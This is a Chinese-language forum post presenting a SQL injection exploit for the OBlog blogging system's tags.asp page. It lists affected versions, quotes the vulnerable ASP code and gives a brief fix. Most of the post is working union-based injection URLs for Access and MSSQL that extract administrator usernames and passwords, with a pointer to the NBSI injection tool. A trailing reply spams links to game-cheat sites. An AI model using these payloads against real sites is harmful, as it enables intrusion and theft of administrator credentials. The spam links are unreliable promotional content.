OBlog (tags.asp) Remote SQL Injection Exploit
#Author: Whytt & Tr4c3[at]126[dot]com#漏洞文件tags.asp
#影响版本:
3.13-20060429 [access & mssql]
4.02-20070112 [access & mssql]
4.50 Final Build0619 [access & mssql]
4.60 Final Build0921 [access & mssql]
4.60 Final Build1107 [access & mssql]
#漏洞原因:变量tagid未经过滤传值，带入sql执行，导致注入产生。
#修补方法:检查用户提交的tagid，只允许是数字。
例如：
将iTagId = Trim(Request.Querystring(”tagid”))改成iTagId = Clng(Trim(Request.Querystring(”tagid”)))
[+++]
这 个地方的注射是去年whytt在读OBLOG 4.5的时候发现的，当时没仔细看，只是听他说适用于mssql版，今天在搞一个站的时侯遇见了Oblog 4.60 Final Build1107 (Access)，百般无奈又去看了看那个放了N久的”mssql注入点”，这一看不要紧，扩展成了access和mssql通杀。
[+++]
再来啰嗦一下代码的问题tags.asp行15-36
sType = LCase(Trim(Request.Querystring(”t”)))
iTagId = Trim(Request.Querystring(”tagid”)) ’这个地方没过滤，在36行处传值给函数GetUsersByTag
iUserId = Trim(Request.Querystring(”userid”))
sKeyword= Trim(Request(”keyword”))
sAll=Trim(Request.Querystring)
If sAll & sKeyword=”" Then sType=”hottags”
Call link_database()
select Case sType
Case ”hottags”
sTitle=”最热门的100个” & P_TAGS_DESC
sContent=Tags_Hottags()
Case ”cloud”
sTitle=P_TAGS_DESC & ”云图”
sContent=Tags_SystemTags(1)
Case ”list”
sTitle=P_TAGS_DESC & ”列表”
sContent=Tags_SystemTags(0)
Case ”user”
sTitle=P_TAGS_DESC & ”用户”
sContent=GetUsersByTag(iTagId)
函数GetUsersByTag的原型在文件Inc_Tags.asp行320-338
Function GetUsersByTag(byval sTagId)
Dim rst,sSql,sContent
Set rst = Server.CreateObject(”Adodb.Recordset”)
sSql = ”select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=” & sTagId & ” Group By UserId) a,oblog_user b Where a.Userid=b.UserId”
rst.Open sSql,conn,1,1
If rst.Eof Then
sContent=”没有符合条件的用户”
rst.Close
Set rst = Nothing
End If
i=0
Do While Not rst.Eof
sContent=sContent & ”” & rst(”userName”) & ””
rst.movenext
Loop
rst.Close
Set rst = Nothing
GetUsersByTag=sContent
End Function
之所以当初whytt说只适用于mssql，是当时没想起来如何无错闭合，仔细想想原来这么简单.
select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId
union前后是一个语句当然不会出错了，但是
select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 ’ 为了返回union后面的语句信息，union前面的限定条件加一个and 1=2 [逻辑假]
这样就报错了，利用起来也是很简单的，打开[url=http://www.target.com/oblog/tags.asp][color=#2f5fa1]http://www.target.com/oblog/tags.asp[/color][/url]，点开一个有返回内容的连接(注意是有返回内容，而不是标题,当然不怕麻烦也可以自己注册发表文章和标签)，看tagid，如图1
[attach]1257[/attach]
这里我们看到的是1。组合下url就是
[url=http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1][color=#2f5fa1]http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1[/color][/url] Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1
放在nbsi里手动加入表oblog_admin，开始你的注射…
如果你比较懒，就用union查询吧
Access:
[url=http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1][color=#2f5fa1]http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1[/color][/url] Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select username%2bchr(124)%2bpassword,2,3 From Oblog_admin union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 and 1=2
MSSQL:
[url=http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1][color=#2f5fa1]http://www.target.com/oblog/tags.asp?t=user&keyword=trace&tagid=1[/color][/url] Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select username%2bchar(124)%2bpassword,2,3 From Oblog_admin union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 and 1=2
如图2
[attach]1258[/attach]
新时代,新做法!
*** 作者被禁止或删除 内容自动屏蔽 ***伟大领袖毛主席教导我们
伟大领袖毛主席教导我们，看贴一定要回，玩游戏一定要用外挂。于是乎本人在此隆重的向各位大虾介绍几个好的外挂站，好东西就要一起分享。[u][url=http://www.chesky.cn/][b]预言外挂[/b][/url][/u]
[u][url=http://www.sdjingyu.cn/][b]地下城与勇士外挂[/b][/url][/u]
[u][url=http://www.idoler.cn/][b]QQ幻想外挂[/b][/url][/u]
[u][url=http://www.cndwa.cn/][b]传奇世界外挂[/b][/url][/u]
[u][url=http://www.151boke.cn/][b]传奇外传外挂[/b][/url][/u]
页:
[1]